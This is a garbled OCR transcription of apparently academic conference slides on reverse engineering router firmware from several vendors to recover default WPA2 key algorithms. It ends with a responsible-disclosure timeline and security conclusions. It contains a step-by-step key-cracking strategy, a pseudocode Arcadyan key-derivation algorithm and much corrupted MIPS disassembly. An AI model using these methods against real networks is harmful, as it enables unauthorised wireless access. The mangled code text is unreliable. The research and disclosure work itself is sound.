vl = ((((did[1] << 5) - did[1]) << 2) + did[1]) << 3;

a2 = (vl * did[4]);

a2 = ((((a2 << 1) + a2) << 2) - a2);

VO = (((int64 t)a2 * 0x55e63b89) >> 57) - (a2 >> 31);
a2 = a2 - (v0 * 0x5f5e100);

a2 = (did[1] * + did[2] * 10 + did[ ]) * did[4] * 11;

if(alt)
a2 = (a2 / 5) * 7;

Iacaac ©coco0oo0o0o0ooo0o00 coo0oo0

e//
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THOMSOM in more countries

FEE

_generator:

var_10= -8x10

var_C= -6xC

addiu  $sp, -Bx28

su Sra, Ox20+var_C{§sp}

sw §s8, Bx20+var_10{5sp)

nove §s0, $a1

jal generateHash_

nove: Sa1, $sp R

nove a2, $zero compiler
1i $a3. optimizations

—————————'5 _ Divisible by 5,10
Pl

cutdown_hash_to_26_digits:

addu $al, §so, a2
addu 38, Ssp, $a2

1bu $a0. 0(5ve)
nultu  $a0, $a3

nfhi  Su1

srl $vl, 3

s11 §v0, $v1, 2
addu  §v0. Sv1

s11 fve, 1

subu  §a0, Su0

addiu  Sa0. R
addiu  $a2

slti vl $a2, 14
bnez $ve. cutdown_hash_to_26_digi ts|

sb $a0, 6(%al)
T
P
== ]
addu $ve, §se, a2
b $zero, 6{§v0)
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THOMSOM in more countries

generateHash_

-0xan
-0x28
-0x20
-x1C
-ox18
-0x14
-0x10

addiu  §sp. -0x6

Sw ra. 0x60+var_10(§sp)
su 53, 0x60+var_1a(3sp)
sw $s2, 0x6B+var_18($sp)
sw §s1, oxs0+var_1G($sp)
su 50, Dx60+var_20(§sp)
nove 452, $an
jal sub_891AF1AC
nove §s3, a1
beqz $ve, loc_805462C4
it $ra, 0x6D+var_10($sp)

y

il sl =

jal junp_to_ra_exit

move Gal, Svo

addiu §s1, $sp, ox60+var_28

nove §am, $s

jal something_very_used_3

nove §a1, fva

jal load_store_specific_byte

move  $am, $s1

addiu  $s8, $sp, Ox60+var_as

move: $as,

jal stropy

nove $a1, Svo

nove  $am, $s2

jal sub_89546420

nove

nove YIS

la Ism, a Glts 1 0) &xguit¥s”| I

jal SRLintd

nove $a2, $s0

move: $al, $s2

nove  Sal, Ssp

jal D5

ial i, rpsgiS( model + symbols +||SN )

jal sub_89951C60

move: $al, §s1

1w $ra, Bx60+va

ijer, Verdult
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Unstripping crypto: Use findcrypt!

addiu  §sp, -0x70

su §ra, 0x70+var_8(§sp)
sw §s1, ox7e+var_c($sp)
su §s0, 0x70+var_18(3sp)
nove $s0, $al
move $s1, Sa2
jal loadConstants
nove  $a@, $sp
jal sub_80B3563C
nove $a0, 50 SUBROUTINE
nove  5a@, 3sp
move $al, Ss8
jal sub_8059B574  JoadConstants: i CODE XREF: sub_8632AAE8+68Tp
move $a2, Sv0 #t sub_884a39Fg+7aetp ...
move $am. §s1 sw Szero, (a0}
jal sub_8659B6B4 sw $zero, (Sa@)
move $al, $sp 1i Sun,
1w Sra, Ox70+var_8 sw SvB, 0{$ad)
lu §s1, Ox78+var_C 1i SvB,
1w $s8, Bx70+var_1 sw $ve, 4{5a0)
jr $ra li Svn,
addiu  $sp, 0x70 sw $vB, 9{5a8)
# End of function MDS li Sve,

jr ir

sw $vB, (5an)

# End of function loadConstants
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THOMSOM in more countries

==

lgenerateHash_
lvar_20= -0x20
lvar 1F= ~0x1F

addiu . xan

W . 0xda0+var_a($sp)
sw ., 0xag+var 8 (§sp)
sw 1, oxag+var_c($sp)
sw xag+var_ 18 (§sp)
nove 0

jal sesorial_nunber?
move  §s2. $a1

move a0, $v0

jal unction_very_used
1i al,

addiu 50, $sp, Gxavsvar_1g
move a0, §s0

jal unction_very_used 2
hove  Sa1, uo

hove a0, §so

addiu  $a1, §sp. oxavevar_20

laddiu $sp, Oxag+v;
i tore_6_bytes_from_a0_to_al
addiu  §t2, $sp, xadvar_1
u a2, Bxab+var_26 ($5p)
1bu a3, 0xagsvar_ IF (Ssp)
1bu 10, 0xarvar_1E(3sp)
Ibu 1, 9xantvar 1D ($sp)
1bu t2, 9xd0+var_1¢($sp)
1bu t3, 0xd48+var_1B($sp)
nove  gan, $sp
lui a1, 0x80D4
jal printf
la al, @ 02x02 1" %02 x:%02x: ¥02x:%02 x: §02x: %02’
move aB, §s1
nove  3a1, §sp
jal D5 md5( model+ISP+ Serial Number )
nove . §s2
jal nullsub_a7
nove 0, $50
v $ra, Dxdgrvar_a($sp)

it §s2, Bxav+val
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THOMSOM in more countries

M

_generator:

var_18= -0x10

var_¢= -0xC

addiu  §sp. -0x20

sw Sra, Bx28+var_C($sp)
sw $s0, 0x26+var_10($sp)
nove §s0, $al

jal generateHash_

nove al, §sp

move §a2, Szero

addu__ Sve, $sp, a2

¢

Weim
loc_80546448:

1bu w0, 0{$v0)
srl ve, 4

s11 a0, $a2, 1
addu al, §s0

sIti v1, Sve, 18
addiu al, $vo, "0
addiu  $ve 7
xori w1, 0

movn vB, Sal, Svi1
sb w0, 0($a0)
addu ve, $sp. $az
Ibu w8, 0{$v6)
andi o,

s11 ab, §a2, 1
addu a8, §s0

addiu  $an,

sLti w1, $v0, Oz
addiu al, $ve, Bx30
addiu  §vb R
xori vl, 0

moun ve, $al, jv1
sb w8, 0{$aB)
addiu  $a2,

sLti v0, $a2, 5
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THOMSOM in more countries

==

generateHash_

var_21
var_1

1, $an
se_serial_nunber?
<2, $at

a0, Su0
unction_very_used
at, |

§sp, Oxab+var_1s

la a1, a o2x0 U S 02x:%02x:%02x:%02x: %02x: 502"

jal 3 md5( model+ISP+  Serial Number )

ijer, Verdult
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% THOMSOM strategy

Reverse engineering:

® Create a C code — Load the FW (mmap) & jump
® Cross-compile it — MIPS arch

©® Emulate it — QEMU

O Attach the process into — IDA PRO

Hacking the WPA2 key:

@ for each Serial Number — Generate ESSID (public)

@® for each ESSID matching — Generate WPA2 candidates

© Capture Handshake — Bruteforce offline possible WPA2 keys
O BINGO!
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Arcadyan: Obfuscation != Encryption

##11[E-BOOTPARAM-WRITE] User settings are not stored!!
###[BUILD-WEP] (Z1 72 73): %1X%1X%1X
##[BUILD-WEP] (x[1] XOR z[ 1X XOR %1X)=%1X

##[BUILD-WEP] (y[2] XOR y[ %1X XOR %1X)=%1X

#[BUILD-WEP] (x[3]° XOR ¥[1]) =(%1X XOR %1X)=%1X
####[BUILD-WEP] (x[2] XOR z[3]) =(%1X XOR %1X)=%1X
####[BUILD-WEP] (w[@] w[1] w[2] w[3]): %IXXIX%1X%1X

SRR IR KB IR X IXE LXK XS LR X %L X [ BUILD-WEP ] Key:%s

##HH[BUILD-WEP] K1,2:[%1X,%1X]

#[BUILD-WEP] (K1 XOR S18) 1X)=%1X
#[BUILD-WEP] (K1 XOR 59) 1X)=%1X
#[BUILD-WEP] (K1 XOR 58) 1X)=5%1X

#[BUILD-WEP] (X1 X2 X3): %IX%1X%1X

##[BUILD-WEP] (K2 XOR M18)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (K2 XOR M11 51X XOR %1X)=%1X
#[BUILD-WEP] (K2 XOR M12)=(%1X XOR %1X)=%1X
#[BUILD-WEP] (Y1 Y2 Y3): %IX%IX%1X

##[BUILD-WEP] (M11 XOR 51@)=(%1X XOR %1X)=%1X

#i###Boot Parameters NOT found !!!

##Bootcode version: %s

###5erial number: %s

##Hardware version: %s
#HHHO2X%02X%02X%02X%02X%0 2 X####strillanMacAddr: &s
#HNLANSCHCEC B hCi### [ BUILD-WEP] S6,7,8,9,10: [%1X, %1X, %1X, %1X, %1X]
##[BUILD-WEP] M7,8,9,10,11,12: [%1X, %1X,%1X,%1X,%1X, %1X]
##!!1! Invalid wireless channel range %d ~ %d

#!1! Use default value %d ~ %d

#i#default route: %d.%d.%d.%d

#ifno:%d enable0S:%d enableWEP:%d enableSSN:%d

#!!No configuration file present!!

##!1Cleanup configuration in flash memory!!

##%s> flash version:[%s], [%d.%d.%d]

#etcpip_init_config##lan 18 2008#16:39: A5####Set flash memory layout to #BRN-BOOT#
##01234567####[BUILD-WEP] (M12 XOR S9) =(%1X XOR %1X)=%1X
##HH[BUILD-WEP] (K1 XOR K2) =(%1X XOR %1X)=%1X

###Hf! I TE-CFG-VER] Reconfiguration reauired!!

Figure : FW update obfuscated with 0xFF (www.seguridadwireless.net)
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% Arcadyan. WPA key generation (mac & serial)

We broke this just bruteforcing (10°keys)
similar Arcadyan algorithms 2, 3.

Require: s6,s7,s8, 59,510, m9, m10, m11, m12 € [0, .., F]
k1l < (s7 4+ s8 + mll + m12) & (OxF)
k2 < (m9 + m10 + s9 + s10) & (OxF)
x1 + k1@ s10
x2 <+ k1@ s9
x3 < k1@ s8
yl « k2@ ml0
y2 «— k2@ mll
y3 «— k2d ml2
z1 < ml1l1l ¢ s10
z2 < ml2 ® s9
23+ k1@ k2
wl < s6
w2+ k1@ z3
w3 <« k2@ z3
return [x1,y1,z1, wl, x2,y2,z2, w2, x3,y3, z3, w3]

2https ://wwu.seguridadwireless.net

*https://sviehb.wordpress.com
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Findings & Vulnerabilities

Arcadyan: Linksys Desobfuscation routine

Figure : Craig Heffner (@devttyUSBO)
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Arcadyan: Vodafone Desobfuscation routine

reg seg loc = 551

dois
i
520 = change_sndian(-(int32%) 5eg_100)
emp 1ip
¥ ¥ ¥
CE) CEr—D ) e
520, orasel [impack 227 (shoutd not be catten)] [cmp ts_obfuscatea ||
v

princt

S0, azip: #

Sco, tup bes_buffer?

sve, oxa3el

$26, reg_seg loc # seg loc
o # tap_buffer

- oxa3020000)

Toc 53004C55
826, (tmp_bss buffer2es -

Figure : Stefan Viehbock (Easy-Box Germany)
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Arcadyan: Where's the WPA algo?

lui 4s1, BxBOTF
addiu  $aB, $s1, (mac_address? word - Bx807FB608)
lui G52, Bx809F

jal sub_8000843C
addiu  $a1, $s2, (an2rcadysn
la $ab, aBuildWpaKeyS 1 °
jal sub_8B0BEDF

addiu al, $s1, (mac_address?_word - 8x807FBA8A)

sh zero, (word S87EDASE - BxBA7EIF18) ($s6)

addiu a8, $s3. (byte SAIEBEDS - @xBOIFANER)

nove al, §s5 i i
addiu a2, $s2, (aA2rc9dySn - OxBO9FO0OA) Intere.Stlng
lui 51, Bx82F6

jal build_WPS_PIN string
addiu  $a3, 5$s1, @x3csa

lui $s2, Bx8688

addiu Gad, $s2, (a12345670 - Bx88880888) i "12345678" .

jal sub_spooga3c essid
addiu a1, Ss1, 0x3C88 .
Lui 50, 3 generation
la v1, a3456 i 3456 .

addu sB, Svi, $s8 Wlth
jal sub_gan8s528

addiu Gad, $s2, (a12345670 - BxBB8BEAAB) I 12345678 MAC
su $u8, (dword_8@8eazes - B8x80881F18) ($sB)

jal sub_88088520

addiu  §a@, $s1, NGGEE
addiu  $at, $s1, [EEGEE

jal sub_80806DFO

nove 5az, Sva

lu $uB, (dword_8O9E8844 - Bx80IFENBE) ($sa)
su $vB, Bx120+var_EB($sp)

Lhu §v0, (word_BUYESSAS - 0x309E8844) ($s7)
sh $vB, Bx1z0+var_DC(5sp)

addiu  $ad, $sp. 0x1z8+var_D8

addiu a1, 556, (a02x82x0Zx02_27 - Bx86820008) I “X02:¥02x¥02XEA2 0202

Lbu §a2, Bx120+var_E6 ($5p)
s

The D T IS Sy
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Responsible disclosure

@ 2014-12-20 Preliminary informing NCSC ?

® 2015-02-11 Official NCSC notification by Radboud Uni.
© 2015-03-01 Dutch ISPs are aware about the vulnerabilities
O 2015-04-02 1st meeting with ISPs. Presentation

©® 2015-04-29 2nd meeting with ISPs. Presentation

® 2015-08-04 Talk at Bsides Las Vegas-PasswordsCON

@ 2015-08-11 Paper disclosure at USENIX WOOT'15

® 2015-10-20 More disclosure at Hack.lu 2015 conference

“https://www.ncsc.nl/english
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ADB / Pirell

ARAN,
N
Y
“erres

y_from_mac

Figure : Call flow from generateKey

Novella, Meijer, Verdult
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ADB / Pirell

ndm_loadConfig

LOAD:000D4TCE: .word createWFAPassphraseFromkey wi¥riteMdmDefault

sphrasefronkey

Figure : Call flow for createWPAPassphraseFromKey
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ADB / Pirel

la al, ssid
la v0, createSSIDFronMac
nove 19, %ve
jalr t9 ; createSSIDFronHAC
nop
L gp. OxCo+var_BO{$fp)
li 3 T
sw ve, BxCs+var_90{$fp)
Li ve, 0xB
sw ve, OxC8+var_90($fp)
addiu ve, 5fp, Bxc8+var_90
la aB, key
nove al. $vl
La a2, ALaip)
la vh, 0xA0000
la Sve, generateKey
move §t9,
jalr $t9 : generateKey
3
1w gp. 0xCa+var_Bo($fp)
la ve, 0xA0000
addiu 3@, $v0, (aGeneratekey - 0xzA0ABB) I “generateKey”
la ve, puts
move t9. 5ve
jalr 9 : puts
nop
1w gp. 0xCa+var_Bo($fp)
1w v, OxCs+var_30($fp)
la a0, passphrase
la al, key
la vB, createWPAPassphraseFronKey
nove ta, $vo
jalr t9 : createWwPaPassphraseFronkey
1w gp, OxC8+var_Be($fp)
la vB, 0xAB860
addiu  $vB. (aPassphraseSIdx - BxA8008) 1 “PassPhrase=%s . idx=%d\n"
nove an, $vd
la al, passphrase
Tuw a2 AvrR+arn afé&fnd

Figure : Dissasembly of wIWriteMdmDefault

Lu 2015
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ADB / Pirell

an s o e uryepy
la $v0, SHA256_Init
move  $t9, $ve
jalr $t9 ; SHA256_Init
nop
lw $gp. 0x28+var_c{5fp)

$aB, 0x28+var_10($f)

ret seed located

li a2, Bu20 1 0xd29e0 with 32
la 2ve, SHazs6_update PYtes (0x20)
move  $t9, $ve
nop
1w gp. Ox28+var_C(5fp)
1w aB, 0x28+arg_C(5fp)
la v, strlen
move t9, $vo
jalr t9 ; strlen
nop s
1w gp. 0x28+var_C($fp) . .
1w 20, 0x28+var_10(5fp) [Srd_C is the string
1w a1, Bx2s+arg c($fp) ['1236790" coming
move a2, $vo from generateKey
la v0, SHA256_Update
nove t9, $vo
nop
1w gp, 0x28+var_C(5fp)
1w a8, 0x28+var_16($fp)
1w a1, 0x28+arg_10(5fp)
1i a2, 6 # 6 bytes e
la v0, SHA256_Update
nove 19, $vo
nop
1w gp. 8x28+var_C($fp)
la a8, hash
1w a1, 0x28+var_10($fp)
la v, SHA256_Final

Figure : Dissasembly of generateKey-from-mac
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ADB / Pirell

D Views: = Hex Viewsh | & Structures Enums
[LoAD: 000Dz 138 6.0, 0 0 0 0 0 0, 6.0, 0
LoD : 00002138 6. 0,0 0 0 0 0 0 5. 8, 0
LoD : 00002138 6.0, 0,8 0,6 0 0

LoD : 00002908

L0AD : 000D29ED ~Tdata

LOAD:000D29ED _fdata: 064 # d

L0AD:000D29E 1 0x¢6 3} fdata is the "secret seed" and
LoD :000D29E2 oxpp # | -0

ILoAD:090D2IE3 0xE3 1 Q| it is located at the offsat

LoD :000D79EG 0xE5 1§ 0X000d2920

LoD :000D29ES 0x79 1 y]

LoD :000D29E6 oxge it Al

LoD : 000D29E7 009 1 4]

LoD :000D29E8 0386 1 3|

L0AD : 000D29E9 0x96 1 i

LOAD: 060D29EA 0x8D # 1

LoD :000D29EB 0x3g 4 g

LoAD:000D29EC oxa5 i

LoD :000D29EE 0x3B #

jLoAD: 88BD29EF 8115 dump addiess | 0D2SE0 = |
LoD :000D29F0 oxca f |

ILOAD : 000D29F 1 OxAF 1 »f Cancel Help
L0AD : 000D29F2 0x12

L0AD: 000D29F3 0x04 # 4

LOAD: 000D29F4 2

LoD :000D29F5 oxac # X

LoD :000D79F6 0x56 1 U]

LoD :000D29F7 ]

LoD :000D29F8 5

LoD :000D29F9 OxCE 1 4]

LoD : 000D29FA 0320

LoD :000D29FB 0375 1 uf

LoD : 000D29FC 0x91 1t g

LOAD : 000D29FD 0x3F # 7|

LoAD: 000D29FE oxpc # |

LoAD: 000D29FF

L0AD:000DZABE 201234567 83abci SC11 70 123056789abcde fghij klnnopgrstuvwxyz'<e> Charset
LoD : 00002800 o

i nan:annoaos alinn a

Novella, Meijer, Verdult
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TRENDnet

688 nvram_set{"wl_txq_thresh™, Bv1G66};
689 nvram_set{"et_txq_thresh”, Bv166);
690 memset {8162, @, OxDu):

691 menset {Bv157, B, 8xEu);

692 »{_DWORD =)s = 1313165308;

693 +139 = Bx74656E44;

634 »148 = Bx78383138;

695 »141 = Bx7FB787878;

636 T

697 LOWORD{v143) = 128;

698 sn = {const char =)nvram_get{"sn"});
699 macaddr = {const char =)nvram_get(“et@nacaddr™}):
708 if { sn BR strlen{sn}) == 13 )

701

702 vizg = strlen{s);

703 snprintf{s, vizo, "818%s", sn + 5);:
704 nvram_set (“wl_wpa_psk”, s);

705 }

706 else if { macaddr 88 strlen{macaddr) == 17 )}
707 {

708 va7 = 8;

709 vae = B

718 do

71 {

712 va3 = Bul70 + viF;

713 vigo = vag % 3;

714 =

715

716 caddr [v98]:
77 ++u98;

Figure : Serial number & Model number (visible in ESSID)
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Belkin (new models)

la 59, get_flash_psk
la 5ab, WpaPreKeyBuf
jalr  $t3 : get flash psk # get flash psk{WpaPreKeyBuf,1); [/ Load WPa into buffer
1i Sal, 1
1i Saz, 8 i
1w $gp. Bx20+var 16 ($sp)
la sal, o
la §t9, memcn
la $as, wpaPreKeyBui # s1
jalr $t9 ; memcmp # equals = memcnp (WpaPreKeyBuf, anotheroffset, 8);
addiu  $a1, unk 3888 [/ Compare if it is the same than stored one in other location
1w $gp. 0x284var_108(§sp)
beqz $v8, loc_23F8 # if {equals)
1i $az, 8 in
Y
e =
la $al, @
la §t9, menmcnp
la $a0, wpaPreKeyBuf I s1
jalr  9t9 ; mencmp
addiv  $al, unk_356C 1 ret = memcmp(WpaPreKeyBuf,diffoffset,8); // Double check?
1w Sap, Bx28+var_18(5sp)
bnez Sva, loc_248C nif { tret ) {
nop
Yy A ]
e = ]
loc_23FB: loc_248C:
a $t9, generate_random_wpa_key [|1a $t9, memset
jalr $t9 : generate_randon_wpa_key |l imove Sal, Szero tec
nop la $aB, WpaPreKeyBuf ¥ s
b TOC=Z037 jalr  5t9 : nemset 1 nemset {¥paPreKeyBuf, 8, 65) ;
nop 1i $a2, 0x41 #n
1w Sgp. 0x28+var_18(5sp)
la 519, get_flash_psk
la 5ab, WpaPreKeyBuf
jalr  $t3 : get_flash_psk
move  Sal, $zero
]

Figure : Hardcoded value into flash and/or random key
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Conclusion

% Conclusion

e Since SpeedTouch security issue in 2008,
security has not improved whatsoever

e This is an industry-wide problem.

e Security by Obscurity does not work!

e Security - Obscurity = NO security

e Vendors reuse the same algorithms with slightly small changes
e Neither stripped nor obfuscated binaries are a solution

e Please do not include algorithms inside of FW images

e SNs are already hardcoded — why not WPA2 keys too?

e if (random) — check soundness of seeding RNG
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Questions and answers

riscurc
Challenge your security

Contact: Eduardo Novella
Security Analyst
NovellaLorente@riscure.com

Riscure B.V. Riscure North America
Frontier Building, Delftechpark 49 71 Stevenson Street, Suite 400
2628 XJ Delft San Francisco, CA 94105

The Netherlands USA

Phone: +31 15 251 40 90 Phone: +1 650 646 99 79
www.riscure.com inforequest@riscure.com
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